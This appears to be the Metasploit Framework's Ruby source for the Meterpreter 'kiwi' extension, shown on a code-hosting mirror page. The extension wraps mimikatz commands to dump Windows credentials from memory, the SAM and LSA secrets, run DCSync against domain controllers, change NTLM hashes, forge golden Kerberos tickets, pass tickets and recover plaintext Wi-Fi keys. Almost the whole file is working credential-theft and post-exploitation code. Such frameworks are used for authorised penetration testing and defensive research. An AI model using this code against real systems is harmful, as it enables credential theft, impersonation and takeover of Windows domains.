CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb
Views: 11791
1
# -*- coding: binary -*-
2
3
require 'rex/post/meterpreter/extensions/kiwi/tlv'
4
require 'rex/post/meterpreter/extensions/kiwi/command_ids'
5
require 'rexml/document'
6
require 'set'
7
8
module Rex
9
module Post
10
module Meterpreter
11
module Extensions
12
module Kiwi
13
14
###
15
#
16
# Kiwi extension - grabs credentials from windows memory.
17
#
18
# Benjamin DELPY `gentilkiwi`
19
# http://blog.gentilkiwi.com/mimikatz
20
#
21
# extension converted by OJ Reeves (TheColonial)
22
###
23
24
class Kiwi < Extension
25
26
def self.extension_id
27
EXTENSION_ID_KIWI
28
end
29
30
#
31
# Typical extension initialization routine.
32
#
33
# @param client (see Extension#initialize)
34
def initialize(client)
35
super(client, 'kiwi')
36
37
client.register_extension_aliases(
38
[
39
{
40
'name' => 'kiwi',
41
'ext' => self
42
},
43
])
44
45
# by default, we want all output in base64, so fire that up
46
# first so that everything uses this down the track
47
exec_cmd('"base64 /in:on /out:on"')
48
end
49
50
def exec_cmd(cmd)
51
request = Packet.create_request(COMMAND_ID_KIWI_EXEC_CMD)
52
request.add_tlv(TLV_TYPE_KIWI_CMD, cmd)
53
response = client.send_request(request)
54
output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT)
55
# remove the banner up to the prompt
56
output = output[output.index('mimikatz(powershell) #') + 1, output.length]
57
# return everything past the newline from here
58
output[output.index("\n") + 1, output.length]
59
end
60
61
def password_change(opts)
62
cmd = "lsadump::changentlm /user:#{opts[:user]}"
63
cmd << " /server:#{opts[:server]}" if opts[:server]
64
cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]
65
cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]
66
cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]
67
cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]
68
69
output = exec_cmd("\"#{cmd}\"")
70
result = {}
71
72
if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m
73
result[:old] = $1
74
end
75
if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m
76
result[:new] = $1
77
end
78
79
if output =~ /^ERROR/m
80
result[:success] = false
81
if output =~ /^ERROR.*SamConnect/m
82
result[:error] = 'Invalid server.'
83
elsif output =~ /^ERROR.*Bad old/m
84
result[:error] = 'Invalid old password or hash.'
85
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
86
result[:error] = 'Invalid user.'
87
else
88
result[:error] = 'Unknown error.'
89
end
90
else
91
result[:success] = true
92
end
93
94
result
95
end
96
97
def dcsync(domain_user)
98
exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
99
end
100
101
def dcsync_ntlm(domain_user)
102
result = {
103
ntlm: '<NOT FOUND>',
104
lm: '<NOT FOUND>',
105
sid: '<NOT FOUND>',
106
rid: '<NOT FOUND>'
107
}
108
109
output = dcsync(domain_user)
110
return nil unless output.include?('Object RDN')
111
112
output.lines.map(&:strip).each do |l|
113
if l.start_with?('Hash NTLM: ')
114
result[:ntlm] = l.split(' ')[-1]
115
elsif l.start_with?('lm - 0:')
116
result[:lm] = l.split(' ')[-1]
117
elsif l.start_with?('Object Security ID')
118
result[:sid] = l.split(' ')[-1]
119
elsif l.start_with?('Object Relative ID')
120
result[:rid] = l.split(' ')[-1]
121
end
122
end
123
124
result
125
end
126
127
def lsa_dump_secrets
128
exec_cmd('lsadump::secrets')
129
end
130
131
def lsa_dump_sam
132
exec_cmd('lsadump::sam')
133
end
134
135
def lsa_dump_cache
136
exec_cmd('lsadump::cache')
137
end
138
139
def get_debug_privilege
140
exec_cmd('privilege::debug').strip == "Privilege '20' OK"
141
end
142
143
def creds_ssp
144
{ ssp: parse_ssp(exec_cmd('sekurlsa::ssp')) }
145
end
146
147
def creds_livessp
148
{ livessp: parse_livessp(exec_cmd('sekurlsa::livessp')) }
149
end
150
151
def creds_msv
152
{ msv: parse_msv(exec_cmd('sekurlsa::msv')) }
153
end
154
155
def creds_wdigest
156
{ wdigest: parse_wdigest(exec_cmd('sekurlsa::wdigest')) }
157
end
158
159
def creds_tspkg
160
{ tspkg: parse_tspkg(exec_cmd('sekurlsa::tspkg')) }
161
end
162
163
def creds_kerberos
164
{ kerberos: parse_kerberos(exec_cmd('sekurlsa::kerberos')) }
165
end
166
167
def creds_all
168
output = exec_cmd('sekurlsa::logonpasswords')
169
{
170
msv: parse_msv(output),
171
ssp: parse_ssp(output),
172
livessp: parse_livessp(output),
173
wdigest: parse_wdigest(output),
174
tspkg: parse_tspkg(output),
175
kerberos: parse_kerberos(output)
176
}
177
end
178
179
# TODO make sure this works as expected
180
def parse_livessp(output)
181
results = {}
182
lines = output.lines
183
184
while lines.length > 0 do
185
line = lines.shift
186
187
# search for an livessp line
188
next if line !~ /\slivessp\s:/
189
190
line = lines.shift
191
192
# are there interesting values?
193
while line =~ /\[\d+\]/
194
line = lines.shift
195
# then the next 3 lines should be interesting
196
livessp = {}
197
3.times do
198
k, v = read_value(line)
199
livessp[k.strip] = v if k
200
line = lines.shift
201
end
202
203
if livessp.length > 0
204
results[livessp.values.join('|')] = livessp
205
end
206
end
207
end
208
209
results.values
210
end
211
212
def parse_ssp(output)
213
results = {}
214
lines = output.lines
215
216
while lines.length > 0 do
217
line = lines.shift
218
219
# search for an ssp line
220
next if line !~ /\sssp\s:/
221
222
line = lines.shift
223
224
# are there interesting values?
225
while line =~ /\[\d+\]/
226
line = lines.shift
227
# then the next 3 lines should be interesting
228
ssp = {}
229
3.times do
230
k, v = read_value(line)
231
ssp[k.strip] = v if k
232
line = lines.shift
233
end
234
235
if ssp.length > 0
236
results[ssp.values.join('|')] = ssp
237
end
238
end
239
end
240
241
results.values
242
end
243
244
def parse_wdigest(output)
245
results = {}
246
lines = output.lines
247
248
while lines.length > 0 do
249
line = lines.shift
250
251
# search for an wdigest line
252
next if line !~ /\swdigest\s:/
253
254
line = lines.shift
255
256
# are there interesting values?
257
next if line.blank? || line !~ /\s*\*/
258
259
# no, the next 3 lines should be interesting
260
wdigest = {}
261
3.times do
262
k, v = read_value(line)
263
wdigest[k.strip] = v if k
264
line = lines.shift
265
end
266
267
if wdigest.length > 0
268
results[wdigest.values.join('|')] = wdigest
269
end
270
end
271
272
results.values
273
end
274
275
def parse_tspkg(output)
276
results = {}
277
lines = output.lines
278
279
while lines.length > 0 do
280
line = lines.shift
281
282
# search for an tspkg line
283
next if line !~ /\stspkg\s:/
284
285
line = lines.shift
286
287
# are there interesting values?
288
next if line.blank? || line !~ /\s*\*/
289
290
# no, the next 3 lines should be interesting
291
tspkg = {}
292
3.times do
293
k, v = read_value(line)
294
tspkg[k.strip] = v if k
295
line = lines.shift
296
end
297
298
if tspkg.length > 0
299
results[tspkg.values.join('|')] = tspkg
300
end
301
end
302
303
results.values
304
end
305
306
def parse_kerberos(output)
307
results = {}
308
lines = output.lines
309
310
while lines.length > 0 do
311
line = lines.shift
312
313
# search for an kerberos line
314
next if line !~ /\skerberos\s:/
315
316
line = lines.shift
317
318
# are there interesting values?
319
next if line.blank? || line !~ /\s*\*/
320
321
# no, the next 3 lines should be interesting
322
kerberos = {}
323
3.times do
324
k, v = read_value(line)
325
kerberos[k.strip] = v if k
326
line = lines.shift
327
end
328
329
if kerberos.length > 0
330
results[kerberos.values.join('|')] = kerberos
331
end
332
end
333
334
results.values
335
end
336
337
def parse_msv(output)
338
results = {}
339
lines = output.lines
340
341
while lines.length > 0 do
342
line = lines.shift
343
344
# search for an MSV line
345
next if line !~ /\smsv\s:/
346
347
line = lines.shift
348
349
# loop until we find the 'Primary' entry
350
while line !~ / Primary/ && !line.blank?
351
line = lines.shift
352
end
353
354
# did we find something?
355
next if line.blank?
356
357
msv = {}
358
# loop until we find a line that doesn't start with
359
# an asterisk, as this is the next credential set
360
loop do
361
line = lines.shift
362
if line.strip.start_with?('*')
363
k, v = read_value(line)
364
msv[k.strip] = v if k
365
else
366
lines.unshift(line)
367
break
368
end
369
end
370
371
if msv.length > 0
372
results[msv.values.join('|')] = msv
373
end
374
end
375
376
results.values
377
end
378
379
def read_value(line)
380
if line =~ /\s*\*\s([^:]*):\s(.*)/
381
return $1, $2
382
end
383
384
return nil, nil
385
end
386
387
#
388
# List available kerberos tickets.
389
#
390
# @return [String]
391
#
392
def kerberos_ticket_list
393
exec_cmd('kerberos::list')
394
end
395
396
#
397
# Use the given ticket in the current session.
398
#
399
# @param base64_ticket [String] Content of the Kerberos ticket to use as a Base64 encoded string.
400
# @return [void]
401
#
402
def kerberos_ticket_use(base64_ticket)
403
result = exec_cmd("\"kerberos::ptt #{base64_ticket}\"")
404
result.strip.end_with?(': OK')
405
end
406
407
#
408
# Purge any Kerberos tickets that have been added to the current session.
409
#
410
# @return [void]
411
#
412
def kerberos_ticket_purge
413
result = exec_cmd('kerberos::purge').strip
414
'Ticket(s) purge for current session is OK' == result
415
end
416
417
#
418
# Create a new golden kerberos ticket on the target machine and return it.
419
#
420
# @param opts [Hash] The options to use when creating a new golden kerberos ticket.
421
# @option opts [String] :domain_name Domain name.
422
# @option opts [String] :domain_sid SID of the domain.
423
# @option opts [Integer] :end_in How long to have the ticket last, in hours.
424
# @option opts [Array<Integer>] :group_ids IDs of the groups to assign to the user
425
# @option opts [Integer] :id ID of the user to grant the token for.
426
# @option opts [String] :krbtgt_hash The kerberos ticket granting token.
427
# @option opts [String] :user Name of the user to create the ticket for.
428
#
429
# @return [Array<Byte>]
430
#
431
def golden_ticket_create(opts={})
432
cmd = [
433
"\"kerberos::golden /user:",
434
opts[:user],
435
" /domain:",
436
opts[:domain_name],
437
" /sid:",
438
opts[:domain_sid],
439
" /startoffset:0",
440
" /endin:",
441
opts[:end_in] * 60,
442
" /krbtgt:",
443
opts[:krbtgt_hash],
444
"\""
445
].join('')
446
447
if opts[:id]
448
cmd << " /id:" + opts[:id].to_s
449
end
450
451
if opts[:group_ids]
452
cmd << " /groups:" + opts[:group_ids]
453
end
454
455
output = exec_cmd(cmd)
456
457
return nil unless output.include?('Base64 of file')
458
459
saving = false
460
content = []
461
output.lines.map(&:strip).each do |l|
462
if l.start_with?('Base64 of file')
463
saving = true
464
elsif saving
465
if l.start_with?('====')
466
next if content.length == 0
467
break
468
end
469
content << l
470
end
471
end
472
473
content.join('')
474
end
475
476
#
477
# Access and parse a set of wifi profiles using the given interfaces
478
# list, which contains the list of profile xml files on the target.
479
#
480
# @return [Hash]
481
def wifi_parse_shared(wifi_interfaces)
482
results = []
483
484
exec_cmd('"base64 /in:off /out:on"')
485
wifi_interfaces.keys.each do |key|
486
interface = {
487
:guid => key,
488
:desc => nil,
489
:state => nil,
490
:profiles => []
491
}
492
493
wifi_interfaces[key].each do |wifi_profile_path|
494
cmd = "\"dpapi::wifi /in:#{wifi_profile_path} /unprotect\""
495
output = exec_cmd(cmd)
496
497
lines = output.lines
498
499
profile = {
500
:name => nil,
501
:auth => nil,
502
:key_type => nil,
503
:shared_key => nil
504
}
505
506
while lines.length > 0 do
507
line = lines.shift.strip
508
if line =~ /^\* SSID name\s*: (.*)$/
509
profile[:name] = $1
510
elsif line =~ /^\* Authentication\s*: (.*)$/
511
profile[:auth] = $1
512
elsif line =~ /^\* Key Material\s*: (.*)$/
513
profile[:shared_key] = $1
514
end
515
end
516
517
interface[:profiles] << profile
518
end
519
520
results << interface
521
end
522
exec_cmd('"base64 /in:on /out:on"')
523
524
results
525
end
526
527
#
528
# List all the wifi interfaces and the profiles associated
529
# with them. Also show the raw text passwords for each.
530
#
531
# @return [Array<Hash>]
532
def wifi_list
533
response_xml = exec_cmd('misc::wifi')
534
results = []
535
# TODO: check for XXE?
536
doc = REXML::Document.new(response_xml)
537
538
doc.get_elements('wifilist/interface').each do |i|
539
interface = {
540
:guid => Rex::Text::to_guid(i.elements['guid'].text),
541
:desc => i.elements['description'].text,
542
:state => i.elements['state'].text,
543
:profiles => []
544
}
545
546
i.get_elements('profiles/WLANProfile').each do |p|
547
interface[:profiles] << {
548
:name => p.elements['name'].text,
549
:auth => p.elements['MSM/security/authEncryption/authentication'].text,
550
:key_type => p.elements['MSM/security/sharedKey/keyType'].text,
551
:shared_key => p.elements['MSM/security/sharedKey/keyMaterial'].text
552
}
553
end
554
555
results << interface
556
end
557
558
return results
559
end
560
561
end
562
563
end; end; end; end; end
564
565